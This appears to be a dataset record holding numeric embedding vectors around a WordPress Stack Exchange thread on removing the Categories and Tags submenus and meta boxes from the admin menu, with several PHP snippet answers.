0.0184326171875,
-0.038330078125,
-0.0394287109375,
-0.005619049072265625,
0.015350341796875,
-0.00013911724090576172,
0.031402587890625,
0.0084686279296875,
-0.054779052734375,
-0.010345458984375,
0.0362548828125,
0.094970703125,
-0.04193115234375,
-0.0175628662109375,
0.0246124267578125,
0.03155517578125,
-0.0168914794921875,
0.023834228515625,
0.0400390625,
-0.0005297660827636719,
0.019500732421875,
0.0254669189453125,
-0.00962066650390625,
-0.05328369140625,
0.0024433135986328125,
-0.0833740234375,
0.0509033203125,
-0.0011548995971679688,
0.0240020751953125,
-0.01387786865234375,
0.00833892822265625,
-0.002376556396484375,
-0.013397216796875,
-0.052642822265625,
0.04925537109375,
0.00495147705078125,
0.0245208740234375,
-0.074462890625,
-0.00595855712890625,
-0.0162506103515625,
0.036956787109375,
0.08074951171875,
0.0289306640625,
-0.03955078125,
-0.0142822265625,
0.004726409912109375,
0.0251312255859375,
-0.01090240478515625,
0.03631591796875,
0.00403594970703125,
0.05303955078125,
0.07452392578125,
-0.06024169921875,
0.033538818359375,
-0.011077880859375,
-0.00974273681640625,
0.0199737548828125,
-0.00917816162109375,
-0.02630615234375,
0.0066680908203125,
0.0321044921875,
0.005023956298828125,
-0.007556915283203125,
-0.005710601806640625,
-0.0443115234375,
0.01094818115234375,
0.017120361328125,
0.0255584716796875,
0.002109527587890625,
0.043182373046875,
-0.0227813720703125,
0.0487060546875,
0.0011224746704101562,
-0.016632080078125,
0.03167724609375,
0.00695037841796875,
0.04534912109375,
0.00911712646484375,
-0.01129913330078125,
0.0004432201385498047,
0.050384521484375,
0.057952880859375,
0.0225067138671875,
-0.0068817138671875,
-0.045379638671875,
0.044342041015625,
0.042724609375,
0.06268310546875,
-0.07781982421875,
-0.031951904296875,
0.01551055908203125,
-0.003307342529296875,
-0.007320404052734375,
-0.0259552001953125,
-0.018035888671875,
-0.005767822265625,
0.0302886962890625,
-0.040496826171875,
0.006877899169921875,
0.0272064208984375,
0.02532958984375,
-0.00014531612396240234,
0.007038116455078125,
-0.05572509765625,
-0.02117919921875,
-0.07305908203125,
0.03271484375,
0.03314208984375,
0.0693359375,
0.024658203125,
0.05133056640625,
0.030609130859375,
-0.0285491943359375,
-0.007488250732421875,
0.04693603515625,
0.017547607421875,
0.0091552734375,
-0.029693603515625,
-0.0379638671875,
0.00771331787109375,
0.02923583984375,
0.0135345458984375,
0.01080322265625,
0.039886474609375,
0.0338134765625,
-0.039520263671875,
-0.00795745849609375,
0.02093505859375,
-0.025390625,
0.005245208740234375,
-0.038604736328125,
-0.0007243156433105469,
-0.0135498046875,
-0.002796173095703125,
-0.010833740234375,
0.00666046142578125,
0.0034580230712890625,
0.032958984375,
0.01065826416015625,
0.0201416015625,
0.01253509521484375,
0.029815673828125,
-0.003795623779296875,
0.007579803466796875,
0.03765869140625,
-0.04815673828125,
-0.00644683837890625,
-0.0249176025390625,
-0.015655517578125,
0.007289886474609375,
0.0245819091796875,
-0.01543426513671875,
0.0305938720703125,
-0.0211944580078125,
-0.0303497314453125,
0.00844573974609375,
0.0494384765625,
0.0014848709106445312,
0.034088134765625,
0.0200042724609375,
-0.01177215576171875,
-0.057373046875,
-0.022491455078125,
0.022308349609375,
-0.01274871826171875,
0.0031681060791015625,
-0.005359649658203125,
0.046539306640625,
-0.011627197265625,
-0.047760009765625,
0.0015659332275390625,
-0.03961181640625,
-0.0193939208984375,
-0.0013475418090820312,
-0.004302978515625,
-0.005023956298828125,
0.0087127685546875,
0.0229949951171875,
0.016754150390625,
0.063232421875,
-0.00432586669921875,
-0.00415802001953125,
-0.005176544189453125,
0.0216522216796875,
-0.0241241455078125,
0.004009246826171875,
-0.018157958984375,
-0.01369476318359375,
-0.0294036865234375,
-0.0135345458984375,
0.046661376953125,
0.048919677734375,
-0.0030803680419921875,
0.004772186279296875,
0.0228424072265625,
-0.0272674560546875,
0.03765869140625,
-0.003223419189453125,
0.054840087890625,
0.02777099609375,
-0.0106964111328125,
-0.00020599365234375,
0.01085662841796875,
-0.0118408203125,
0.0004601478576660156,
0.01497650146484375,
0.0195159912109375,
0.0144500732421875,
-0.01861572265625,
0.0262908935546875,
0.04254150390625,
0.057708740234375,
-0.0240478515625,
0.0182952880859375,
0.045745849609375,
-0.00830841064453125,
0.0194091796875,
-0.046356201171875,
-0.023223876953125,
-0.017242431640625,
-0.0182037353515625,
0.016632080078125,
0.0001951456069946289,
-0.0266571044921875,
-0.00971221923828125,
0.00960540771484375,
-0.00392913818359375,
0.0035457611083984375,
-0.0302276611328125,
0.0284576416015625,
-0.0094757080078125,
-0.02325439453125,
-0.01080322265625,
-0.0254364013671875,
0.00222015380859375,
0.04376220703125,
0.004291534423828125,
-0.028289794921875,
-0.0197906494140625,
0.03814697265625,
0.0068817138671875,
0.00647735595703125,
-0.00841522216796875,
-0.019744873046875,
-0.015716552734375,
0.02606201171875,
0.01218414306640625,
0.052886962890625,
0.020233154296875,
-0.0159149169921875,
-0.0044097900390625,
0.003131866455078125,
-0.0333251953125,
-0.06378173828125,
0.02947998046875,
-0.07440185546875,
-0.029144287109375,
0.0027637481689453125,
0.0301971435546875,
0.06768798828125,
-0.0166473388671875,
-0.07403564453125,
0.048004150390625,
-0.0172882080078125,
-0.04071044921875,
-0.0090484619140625,
-0.057952880859375,
-0.0007834434509277344,
0.05255126953125,
0.010986328125,
-0.039093017578125,
-0.07257080078125,
0.01421356201171875,
0.048919677734375,
-0.042724609375,
0.0273590087890625,
0.0447998046875,
-0.096435546875,
0.054534912109375,
0.0201568603515625,
0.01165008544921875,
-0.027740478515625,
0.00391387939453125,
0.005279541015625,
-0.0189056396484375,
-0.052337646484375,
0.00440216064453125,
0.0186309814453125,
0.042816162109375,
-0.015777587890625,
-0.04290771484375,
-0.0115966796875,
0.01611328125,
0.0687255859375,
0.04815673828125,
0.012939453125,
-0.07403564453125,
0.0389404296875,
0.0016298294067382812,
-0.0556640625,
-0.0221099853515625,
0.0279083251953125,
-0.078369140625,
-0.04449462890625,
0.024200439453125,
-0.00949859619140625,
0.00261688232421875,
-0.007198333740234375,
-0.015838623046875,
0.00659942626953125,
0.0214996337890625,
-0.010528564453125,
-0.01495361328125,
0.0003685951232910156,
0.033447265625,
-0.021759033203125,
0.01094818115234375,
-0.009521484375,
0.00962066650390625,
0.0130615234375,
0.0093841552734375,
-0.012451171875,
0.0014410018920898438,
0.01305389404296875,
-0.004352569580078125,
0.031219482421875,
-0.0063934326171875,
0.045135498046875,
0.0014057159423828125,
-0.0272979736328125,
0.0168609619140625,
0.0123291015625,
0.0150909423828125,
0.005382537841796875,
-0.007110595703125,
0.0250701904296875,
0.012969970703125,
-0.01027679443359375,
0.041290283203125,
-0.006771087646484375,
0.03564453125,
-0.0013666152954101562,
-0.00724029541015625,
0.025146484375,
-0.018463134765625,
0.0014543533325195312,
0.0113067626953125,
0.0098876953125,
-0.029083251953125,
0.03271484375,
0.0260772705078125,
0.018096923828125,
0.02142333984375
] |
b3a8e527dc583805da04d0cd828a2fa2e6e3c111
|
Wordpress Stackexchange
Q: Remove Categories / Tags From Admin Menu I want to remove or hide Categories / Tags submenu under Posts in the Admin Menu. I know this works with the themes submenus:
remove_submenu_page( 'themes.php', 'widgets.php' );
The same doesn't seem to work for posts unfortunately:
remove_submenu_page( 'edit.php', 'edit-tags.php' );
I'm using the admin_menu action: add_action( 'admin_menu', 'function_call' )
Do I need to add something else?
A: You may also want to remove the meta boxes from the Post Creation page
// REMOVE POST META BOXES
function remove_my_post_metaboxes() {
remove_meta_box( 'categorydiv','post','normal' ); // Categories Metabox
remove_meta_box( 'tagsdiv-post_tag','post','normal' ); // Tags Metabox
}
add_action('admin_menu','remove_my_post_metaboxes');
|
Q: Remove Categories / Tags From Admin Menu I want to remove or hide Categories / Tags submenu under Posts in the Admin Menu. I know this works with the themes submenus:
remove_submenu_page( 'themes.php', 'widgets.php' );
The same doesn't seem to work for posts unfortunately:
remove_submenu_page( 'edit.php', 'edit-tags.php' );
I'm using the admin_menu action: add_action( 'admin_menu', 'function_call' )
Do I need to add something else?
A: You may also want to remove the meta boxes from the Post Creation page
// REMOVE POST META BOXES
function remove_my_post_metaboxes() {
remove_meta_box( 'categorydiv','post','normal' ); // Categories Metabox
remove_meta_box( 'tagsdiv-post_tag','post','normal' ); // Tags Metabox
}
add_action('admin_menu','remove_my_post_metaboxes');
A: Thanks to @mbacon40 and to @gmazzap I was able to use this to remove Product Tags and Categories (product_tag and product_cat) from my menu and from the product add/edit pages.
// Remove Categories and Tags
add_action('init', 'myprefix_remove_tax');
function myprefix_remove_tax() {
register_taxonomy('product_cat', array());
register_taxonomy('product_tag', array());
}
add_action('admin_menu', 'my_remove_sub_menus');
function my_remove_sub_menus() {
remove_submenu_page('edit.php', 'edit-tags.php? taxonomy=product_cat&post_type=product');
remove_submenu_page('edit.php', 'edit-tags.php? taxonomy=product_tag&post_type=product');
}
A: add_action('admin_menu', 'my_remove_sub_menus');
function my_remove_sub_menus() {
remove_submenu_page('edit.php', 'edit-tags.php?taxonomy=category');
remove_submenu_page('edit.php', 'edit-tags.php?taxonomy=post_tag');
}
A: If you want to completely remove categories and tags you can do so like this:
// Remove Categories and Tags
add_action('init', 'myprefix_remove_tax');
function myprefix_remove_tax() {
register_taxonomy('category', array());
register_taxonomy('post_tag', array());
}
A: for some reason the edit.php does not work at my setup 5.3
This however works
remove_submenu_page( 'edit-tags.php?taxonomy=category', 'edit-tags.php?taxonomy=post_tag' );
remove_submenu_page( 'edit-tags.php?taxonomy=category', 'edit-tags.php?taxonomy=category' );
|
wordpress
|
{
"language": "en",
"length": 226,
"provenance": "stackexchange_00019.jsonl.gz:436016",
"question_score": "11",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/110782"
}
|
[
0.05633544921875,
0.001728057861328125,
0.01727294921875,
0.03363037109375,
0.03265380859375,
-0.0562744140625,
0.1094970703125,
-0.0615234375,
0.0007534027099609375,
0.036590576171875,
0.0015745162963867188,
-0.0302276611328125,
0.00489044189453125,
-0.0242462158203125,
-0.0364990234375,
-0.03033447265625,
0.0203399658203125,
0.0124664306640625,
0.031341552734375,
0.00601959228515625,
-0.007354736328125,
0.0267791748046875,
0.00411224365234375,
0.006443023681640625,
0.01306915283203125,
-0.0252227783203125,
0.0300750732421875,
-0.016082763671875,
-0.006282806396484375,
-0.0283355712890625,
0.01210784912109375,
0.032440185546875,
-0.0187835693359375,
0.026519775390625,
0.0139312744140625,
0.00933074951171875,
-0.0282745361328125,
0.0298919677734375,
0.03070068359375,
-0.01506805419921875,
0.0113067626953125,
0.0021686553955078125,
0.007518768310546875,
0.0249176025390625,
0.00408935546875,
-0.056427001953125,
0.01416778564453125,
-0.061431884765625,
0.022247314453125,
-0.06439208984375,
0.028411865234375,
0.00007045269012451172,
0.061676025390625,
-0.071533203125,
-0.029296875,
0.0001627206802368164,
-0.0227813720703125,
0.00012010335922241211,
0.0548095703125,
0.036376953125,
-0.0294036865234375,
-0.034881591796875,
-0.0047149658203125,
-0.0714111328125,
-0.00403594970703125,
-0.007053375244140625,
0.023040771484375,
-0.005664825439453125,
-0.080322265625,
0.0211944580078125,
0.08544921875,
-0.0419921875,
0.01161956787109375,
-0.00939178466796875,
0.0096282958984375,
-0.0179290771484375,
0.0167236328125,
0.01364898681640625,
0.01055145263671875,
-0.00145721435546875,
0.042022705078125,
0.03961181640625,
0.0012121200561523438,
0.0250244140625,
0.0059967041015625,
0.043426513671875,
-0.00873565673828125,
-0.052459716796875,
-0.036407470703125,
-0.0266876220703125,
-0.027191162109375,
-0.08575439453125,
-0.02935791015625,
0.0273284912109375,
0.0039005279541015625,
-0.015411376953125,
0.0309906005859375,
0.04864501953125,
-0.01145172119140625,
-0.006504058837890625,
-0.0088043212890625,
-0.03717041015625,
-0.01021575927734375,
-0.02935791015625,
0.007381439208984375,
0.0235595703125,
-0.044586181640625,
0.0002586841583251953,
0.059051513671875,
0.06005859375,
0.010589599609375,
0.00004166364669799805,
0.005039215087890625,
-0.009796142578125,
-0.0309600830078125,
0.006961822509765625,
-0.00537109375,
0.002834320068359375,
0.0022068023681640625,
0.0131378173828125,
-0.0018100738525390625,
0.0322265625,
-0.00971221923828125,
-0.0325927734375,
0.018707275390625,
0.0251312255859375,
-0.018310546875,
-0.029144287109375,
-0.014984130859375,
0.004497528076171875,
-0.053466796875,
0.010833740234375,
0.08624267578125,
0.0404052734375,
0.0263824462890625,
-0.026458740234375,
0.00357818603515625,
-0.0328369140625,
0.015625,
-0.0006933212280273438,
0.0219573974609375,
-0.022125244140625,
0.0074462890625,
0.0020580291748046875,
0.0023345947265625,
0.0251312255859375,
-0.0005612373352050781,
-0.01540374755859375,
0.034515380859375,
-0.040374755859375,
-0.005626678466796875,
-0.0616455078125,
0.059661865234375,
0.0244140625,
-0.045074462890625,
0.0012788772583007812,
0.075927734375,
-0.046783447265625,
-0.059173583984375,
-0.08612060546875,
0.0020771026611328125,
-0.00970458984375,
0.03717041015625,
-0.0121612548828125,
-0.04046630859375,
0.0285491943359375,
-0.04803466796875,
-0.0171661376953125,
0.034698486328125,
-0.02496337890625,
0.06683349609375,
-0.0513916015625,
0.0164031982421875,
0.00559234619140625,
0.01071929931640625,
0.027099609375,
0.01302337646484375,
0.016082763671875,
0.00460052490234375,
0.062042236328125,
0.0020198822021484375,
-0.034088134765625,
0.0168304443359375,
-0.01061248779296875,
-0.08038330078125,
0.024444580078125,
0.015411376953125,
0.06109619140625,
0.0186767578125,
0.028076171875,
0.0731201171875,
-0.003658294677734375,
-0.051971435546875,
-0.006107330322265625,
0.0268096923828125,
0.0031642913818359375,
-0.016021728515625,
0.00027751922607421875,
0.004962921142578125,
-0.02886962890625,
-0.027191162109375,
0.016632080078125,
-0.0125885009765625,
0.0279541015625,
-0.034576416015625,
0.0236663818359375,
-0.023895263671875,
0.04541015625,
-0.027557373046875,
0.0198822021484375,
0.0111236572265625,
-0.0264434814453125,
0.0003879070281982422,
-0.0330810546875,
-0.0007963180541992188,
-0.005496978759765625,
-0.0022735595703125,
0.023040771484375,
-0.0162353515625,
0.0004825592041015625,
-0.01346588134765625,
-0.0260162353515625,
-0.0106353759765625,
0.0268096923828125,
0.037017822265625,
0.0042572021484375,
-0.0118408203125,
-0.019805908203125,
0.024810791015625,
0.01525115966796875,
-0.05670166015625,
0.01166534423828125,
0.036346435546875,
0.0321044921875,
-0.032073974609375,
0.0081787109375,
0.0174560546875,
-0.02667236328125,
-0.01108551025390625,
0.0267181396484375,
0.0272369384765625,
0.027069091796875,
-0.03265380859375,
-0.018310546875,
0.043243408203125,
-0.047698974609375,
-0.007404327392578125,
-0.00603485107421875,
-0.01239013671875,
-0.01082611083984375,
0.026458740234375,
-0.013214111328125,
0.036529541015625,
0.0259857177734375,
0.04156494140625,
0.00508880615234375,
0.01453399658203125,
-0.017333984375,
0.04034423828125,
-0.0270538330078125,
0.021148681640625,
-0.0022411346435546875,
-0.055816650390625,
0.015777587890625,
0.03369140625,
-0.00957489013671875,
0.03021240234375,
0.013885498046875,
-0.0247955322265625,
-0.0218963623046875,
0.035247802734375,
0.037811279296875,
-0.0168304443359375,
0.0208587646484375,
0.012939453125,
-0.01367950439453125,
-0.0528564453125,
0.011962890625,
-0.0100250244140625,
0.0031223297119140625,
0.0032138824462890625,
0.06976318359375,
0.03411865234375,
-0.008331298828125,
-0.03594970703125,
-0.0677490234375,
0.01519012451171875,
0.0166015625,
-0.01026153564453125,
-0.015350341796875,
0.01293182373046875,
0.00940704345703125,
-0.0132904052734375,
0.01824951171875,
0.01654052734375,
-0.01381683349609375,
0.0224609375,
-0.0007538795471191406,
0.0236053466796875,
-0.0120849609375,
0.03790283203125,
0.047698974609375,
-0.011444091796875,
0.002780914306640625,
0.01166534423828125,
0.0226287841796875,
0.00010383129119873047,
0.038299560546875,
0.01532745361328125,
0.0188446044921875,
-0.053558349609375,
0.0248870849609375,
0.0158843994140625,
-0.0260162353515625,
0.0049285888671875,
-0.034423828125,
-0.01380157470703125,
-0.0130157470703125,
-0.07122802734375,
-0.028564453125,
0.026641845703125,
-0.0129547119140625,
0.0172882080078125,
0.01114654541015625,
-0.01055908203125,
-0.0263214111328125,
0.038848876953125,
0.001735687255859375,
-0.005390167236328125,
-0.013031005859375,
-0.02740478515625,
-0.0017452239990234375,
-0.025604248046875,
0.026336669921875,
0.00007134675979614258,
0.0008940696716308594,
0.01119232177734375,
0.0927734375,
0.00994110107421875,
-0.09820556640625,
0.0139312744140625,
-0.0201416015625,
-0.0207977294921875,
0.07000732421875,
0.055694580078125,
-0.03759765625,
0.0084381103515625,
0.0032138824462890625,
0.027008056640625,
0.0288543701171875,
-0.02734375,
-0.0183258056640625,
-0.0203704833984375,
0.005908966064453125,
0.01255035400390625,
-0.037261962890625,
0.01361083984375,
0.03936767578125,
0.00322723388671875,
-0.013702392578125,
0.00046706199645996094,
-0.0090789794921875,
-0.0160675048828125,
0.0150604248046875,
-0.0291900634765625,
-0.0033626556396484375,
0.0085601806640625,
0.0284271240234375,
0.0227508544921875,
0.0189666748046875,
-0.004802703857421875,
0.0132904052734375,
-0.0003077983856201172,
-0.002994537353515625,
0.012237548828125,
-0.00794219970703125,
0.01461029052734375,
-0.029022216796875,
0.0208892822265625,
-0.01141357421875,
0.0010662078857421875,
-0.0142669677734375,
0.026824951171875,
-0.0196380615234375,
-0.045440673828125,
0.046234130859375,
-0.015838623046875,
0.0012159347534179688,
-0.0281829833984375,
-0.0109100341796875,
-0.0182647705078125,
0.062744140625,
-0.052947998046875,
-0.03521728515625,
-0.0217742919921875,
0.0006165504455566406,
0.0340576171875,
-0.003963470458984375,
-0.0088653564453125,
-0.0287322998046875,
-0.1395263671875,
0.021270751953125,
-0.004241943359375,
-0.035491943359375,
-0.03131103515625,
0.0484619140625,
-0.0858154296875,
-0.049224853515625,
0.04681396484375,
-0.05133056640625,
0.006809234619140625,
-0.01186370849609375,
0.0181732177734375,
-0.0770263671875,
-0.031097412109375,
-0.0008335113525390625,
-0.044342041015625,
0.0011453628540039062,
-0.033203125,
0.02716064453125,
0.0168609619140625,
0.00833892822265625,
-0.0223846435546875,
0.01061248779296875,
0.031646728515625,
-0.0022678375244140625,
-0.00756072998046875,
0.0026397705078125,
-0.01739501953125,
-0.0267333984375,
-0.0005698204040527344,
-0.03131103515625,
-0.0271148681640625,
0.00579833984375,
0.0316162109375,
0.040802001953125,
-0.01189422607421875,
-0.012969970703125,
0.003284454345703125,
-0.005802154541015625,
-0.038055419921875,
-0.0482177734375,
-0.06585693359375,
-0.04388427734375,
-0.03564453125,
0.00618743896484375,
-0.0284576416015625,
-0.042388916015625,
-0.01457977294921875,
0.0183258056640625,
-0.0294342041015625,
0.0238800048828125,
0.014068603515625,
0.01953125,
-0.0186767578125,
-0.04376220703125,
-0.00516510009765625,
0.027374267578125,
-0.049560546875,
0.06488037109375,
0.029205322265625,
-0.01557159423828125,
0.07275390625,
-0.006038665771484375,
0.01251220703125,
-0.0592041015625,
0.08026123046875,
-0.00855255126953125,
0.0025691986083984375,
0.006778717041015625,
-0.038543701171875,
0.046173095703125,
-0.0008082389831542969,
-0.0025272369384765625,
-0.017791748046875,
-0.03564453125,
0.045806884765625,
0.045654296875,
-0.024566650390625,
-0.07110595703125,
-0.0170135498046875,
-0.0005521774291992188,
-0.0072479248046875,
0.0159912109375,
0.022735595703125,
-0.0038661956787109375,
0.0012483596801757812,
0.0237274169921875,
0.0008349418640136719,
-0.04443359375,
0.0013885498046875,
-0.053924560546875,
0.0240631103515625,
-0.0241241455078125,
-0.0246734619140625,
-0.01383209228515625,
0.004154205322265625,
0.021881103515625,
0.0031757354736328125,
-0.017852783203125,
-0.06689453125,
0.021942138671875,
0.06097412109375,
0.0022487640380859375,
-0.0087738037109375,
0.0170135498046875,
0.0010290145874023438,
-0.0085296630859375,
-0.0010509490966796875,
-0.02569580078125,
-0.036834716796875,
-0.036041259765625,
-0.034637451171875,
0.0073089599609375,
-0.0243682861328125,
0.037841796875,
0.041046142578125,
-0.0062103271484375,
0.040435791015625,
-0.0195465087890625,
0.01155853271484375,
-0.0238800048828125,
0.04119873046875,
0.021087646484375,
-0.03485107421875,
0.015533447265625,
-0.00899505615234375,
0.0005431175231933594,
-0.035858154296875,
-0.0185394287109375,
0.02777099609375,
0.032470703125,
0.022430419921875,
-0.0012445449829101562,
-0.005588531494140625,
-0.00032639503479003906,
-0.0235748291015625,
0.05047607421875,
-0.01160430908203125,
-0.07220458984375,
-0.01093292236328125,
0.00485992431640625,
0.0184173583984375,
-0.037078857421875,
-0.0095672607421875,
0.008514404296875,
-0.0229949951171875,
0.0208282470703125,
-0.026824951171875,
-0.0156707763671875,
0.005123138427734375,
0.01401519775390625,
-0.06158447265625,
-0.013031005859375,
0.024688720703125,
-0.0654296875,
-0.053314208984375,
0.003398895263671875,
-0.01849365234375,
0.0099639892578125,
-0.020355224609375,
0.0212554931640625,
-0.0013055801391601562,
-0.0009250640869140625,
0.0256500244140625,
0.003574371337890625,
0.060577392578125,
0.030792236328125,
-0.07415771484375,
-0.00801849365234375,
-0.039154052734375,
0.000025272369384765625,
-0.01149749755859375,
-0.044769287109375,
-0.0277252197265625,
-0.01043701171875,
0.004024505615234375,
0.00507354736328125,
-0.00902557373046875,
0.004817962646484375,
-0.026397705078125,
0.0158538818359375,
0.0225830078125,
0.0309600830078125,
-0.00489044189453125,
0.03533935546875,
-0.0113372802734375,
0.00984954833984375,
-0.00579833984375,
0.0137939453125,
-0.00266265869140625,
-0.007366180419921875,
0.0170135498046875,
-0.0306549072265625,
-0.027740478515625,
-0.0184783935546875,
-0.044952392578125,
-0.006427764892578125,
0.0413818359375,
-0.00812530517578125,
0.01959228515625,
-0.01351165771484375,
0.0027980804443359375,
-0.031982421875,
0.007450103759765625,
-0.030181884765625,
0.023681640625,
-0.01375579833984375,
-0.02471923828125,
0.03271484375,
-0.006252288818359375,
0.004673004150390625,
0.028472900390625,
-0.0340576171875,
0.0323486328125,
0.03924560546875,
-0.0074920654296875,
0.04150390625,
0.052703857421875,
0.0274200439453125,
0.04339599609375,
0.0080718994140625,
0.0226898193359375,
-0.011138916015625,
-0.032501220703125,
-0.01641845703125,
0.0426025390625,
0.0401611328125,
0.0035552978515625,
0.025238037109375,
0.061065673828125,
-0.0135498046875,
-0.01904296875,
0.05633544921875,
0.048370361328125,
-0.0751953125,
0.0017490386962890625,
0.043609619140625,
0.0253753662109375,
-0.0006117820739746094,
0.00807952880859375,
-0.0285186767578125,
-0.04742431640625,
0.00629425048828125,
-0.0162353515625,
-0.0172882080078125,
-0.01102447509765625,
0.0110321044921875,
-0.028076171875,
-0.028167724609375,
0.0266876220703125,
0.0335693359375,
0.0013275146484375,
0.0273590087890625,
-0.0124969482421875,
0.0002899169921875,
-0.0149383544921875,
-0.01055145263671875,
0.0230865478515625,
-0.03564453125,
-0.072021484375,
0.01203155517578125,
0.0004551410675048828,
-0.005474090576171875,
0.0193328857421875,
-0.0005335807800292969,
-0.00592041015625,
0.053985595703125,
-0.034576416015625,
0.022613525390625,
0.0124969482421875,
-0.030487060546875,
-0.043670654296875,
-0.00809478759765625,
0.020050048828125,
-0.008819580078125,
-0.0182647705078125,
0.0232086181640625,
-0.034149169921875,
-0.038116455078125,
-0.0048675537109375,
-0.0186614990234375,
0.09820556640625,
-0.047698974609375,
-0.024627685546875,
-0.00424957275390625,
0.019622802734375,
0.01497650146484375,
0.0011873245239257812,
0.032745361328125,
-0.00347900390625,
0.022796630859375,
0.011138916015625,
0.00946807861328125,
-0.01007843017578125,
-0.0022525787353515625,
-0.09710693359375,
0.07952880859375,
-0.0168914794921875,
0.0677490234375,
-0.0088958740234375,
0.013031005859375,
-0.00016319751739501953,
0.0031986236572265625,
-0.02880859375,
0.048187255859375,
0.04083251953125,
0.0177154541015625,
-0.00917816162109375,
0.0013189315795898438,
0.011383056640625,
0.01302337646484375,
0.01442718505859375,
0.00036144256591796875,
0.0206756591796875,
-0.0035762786865234375,
0.041290283203125,
0.056884765625,
0.01727294921875,
-0.007678985595703125,
-0.00968170166015625,
-0.0025005340576171875,
0.01885986328125,
-0.044158935546875,
0.032012939453125,
-0.04632568359375,
-0.01149749755859375,
0.004627227783203125,
0.0308380126953125,
0.03216552734375,
-0.0018825531005859375,
0.0129241943359375,
0.021514892578125,
-0.0005731582641601562,
0.0018463134765625,
-0.022430419921875,
-0.004039764404296875,
0.0181884765625,
0.00823974609375,
-0.045257568359375,
-0.0193939208984375,
-0.022674560546875,
0.033538818359375,
0.0288238525390625,
0.042144775390625,
0.0107269287109375,
0.028533935546875,
0.042572021484375,
-0.0220947265625,
0.0266571044921875,
0.0263824462890625,
-0.062164306640625,
0.0364990234375,
-0.00203704833984375,
0.01007080078125,
-0.071533203125,
0.006389617919921875,
0.041015625,
0.045562744140625,
-0.039459228515625,
-0.06689453125,
0.0132293701171875,
0.00809478759765625,
0.0118865966796875,
0.024688720703125,
0.027496337890625,
0.019744873046875,
0.06524658203125,
-0.0302734375,
-0.00824737548828125,
0.0220184326171875,
0.0215301513671875,
0.00829315185546875,
0.02545166015625,
-0.0159912109375,
-0.0082855224609375,
-0.06500244140625,
0.01491546630859375,
0.0200347900390625,
0.054443359375,
0.0264892578125,
0.046661376953125,
0.014801025390625,
-0.0232391357421875,
0.00864410400390625,
0.0239715576171875,
-0.0303802490234375,
-0.00039958953857421875,
-0.05322265625,
-0.09075927734375,
0.02655029296875,
0.04248046875,
-0.0108184814453125,
0.029754638671875,
0.0648193359375,
0.06341552734375,
-0.020599365234375,
-0.025054931640625,
0.0036792755126953125,
-0.022125244140625,
-0.0274810791015625,
-0.02947998046875,
0.0068511962890625,
0.018341064453125,
0.0033969879150390625,
0.0090179443359375,
0.037506103515625,
0.01396942138671875,
-0.0011873245239257812,
-0.013153076171875,
0.006725311279296875,
-0.03961181640625,
0.0129547119140625,
-0.003147125244140625,
0.00738525390625,
0.0131378173828125,
-0.0709228515625,
-0.029388427734375,
-0.0379638671875,
-0.0016736984252929688,
0.0279083251953125,
0.02496337890625,
-0.035736083984375,
0.051177978515625,
0.027008056640625,
-0.0197296142578125,
0.0184173583984375,
-0.0032672882080078125,
0.0192108154296875,
0.02288818359375,
0.0196533203125,
0.0238800048828125,
0.003139495849609375,
-0.00611114501953125,
0.0174102783203125,
0.041229248046875,
0.0160064697265625,
0.026031494140625,
-0.006557464599609375,
0.0190887451171875,
-0.0518798828125,
0.033843994140625,
-0.0758056640625,
-0.045013427734375,
0.03759765625,
-0.0069427490234375,
-0.021087646484375,
0.00623321533203125,
-0.01947021484375,
0.0216217041015625,
0.04547119140625,
-0.044708251953125,
0.013458251953125,
0.0264892578125,
0.0004017353057861328,
-0.03594970703125,
0.0219268798828125,
-0.00933837890625,
0.0186614990234375,
-0.027801513671875,
-0.0279388427734375,
0.047760009765625,
0.048126220703125,
0.0036678314208984375,
0.00421905517578125,
-0.01447296142578125,
0.004711151123046875,
0.005367279052734375,
0.0242462158203125,
-0.01326751708984375,
0.0296478271484375,
-0.055206298828125,
-0.013580322265625,
0.0394287109375,
0.00014221668243408203,
0.022125244140625,
0.0266876220703125,
0.0174407958984375,
0.04144287109375,
-0.04669189453125,
-0.0136871337890625,
0.039215087890625,
0.030792236328125,
-0.01129913330078125,
0.0174713134765625,
0.007762908935546875,
-0.024566650390625,
0.0070953369140625,
0.03594970703125,
-0.0418701171875,
-0.035400390625,
-0.0143585205078125,
0.0216522216796875,
-0.02459716796875,
-0.059722900390625,
-0.1378173828125,
0.009521484375,
0.039154052734375,
0.015228271484375,
-0.05889892578125,
0.042449951171875,
-0.0160369873046875,
0.0513916015625,
0.0079193115234375,
0.015869140625,
-0.0276031494140625,
0.0026988983154296875,
-0.0300140380859375,
-0.0091552734375,
-0.05950927734375,
0.0244598388671875,
-0.045013427734375,
0.0173797607421875,
0.0211944580078125,
-0.043182373046875,
0.0003113746643066406,
0.0099334716796875,
0.0380859375,
0.048065185546875,
0.051544189453125,
-0.0074920654296875,
-0.03955078125,
0.04315185546875,
-0.0186004638671875,
-0.0289764404296875,
0.0162353515625,
-0.0094146728515625,
-0.021270751953125,
0.0105438232421875,
0.016754150390625,
0.041961669921875,
-0.0305023193359375,
-0.0980224609375,
0.035675048828125,
-0.0166778564453125,
-0.0489501953125,
0.0020160675048828125,
0.01363372802734375,
-0.016876220703125,
0.031005859375,
0.0079803466796875,
0.003948211669921875,
-0.0025882720947265625,
-0.0014047622680664062,
0.0185699462890625,
0.039581298828125,
0.033843994140625,
-0.006427764892578125,
-0.01256561279296875,
0.005275726318359375,
-0.004718780517578125,
0.02294921875,
-0.020172119140625,
-0.0028553009033203125,
0.00943756103515625,
0.03216552734375,
-0.041259765625,
-0.00908660888671875,
-0.00405120849609375,
0.04595947265625,
0.016143798828125,
-0.0335693359375,
-0.051055908203125,
-0.0308990478515625,
0.0567626953125,
0.022796630859375,
0.03179931640625,
-0.00643157958984375,
-0.0245208740234375,
-0.0265350341796875,
-0.003108978271484375,
-0.0210723876953125,
0.0161590576171875,
-0.07525634765625,
-0.006748199462890625,
0.023590087890625,
0.00019049644470214844,
-0.0026264190673828125,
-0.01367950439453125,
-0.0268402099609375,
-0.0145111083984375,
0.00640869140625,
0.021514892578125,
-0.045074462890625,
0.006015777587890625,
-0.0032787322998046875,
-0.0245208740234375,
-0.0287933349609375,
-0.0168914794921875,
0.007213592529296875,
-0.025390625,
-0.034393310546875,
-0.030120849609375,
-0.03338623046875,
-0.019256591796875,
0.030120849609375,
-0.023529052734375,
0.0223236083984375,
-0.027496337890625,
-0.00860595703125,
-0.032623291015625,
0.0088043212890625,
0.004489898681640625,
0.00576019287109375,
-0.00963592529296875,
0.0137176513671875,
0.030853271484375,
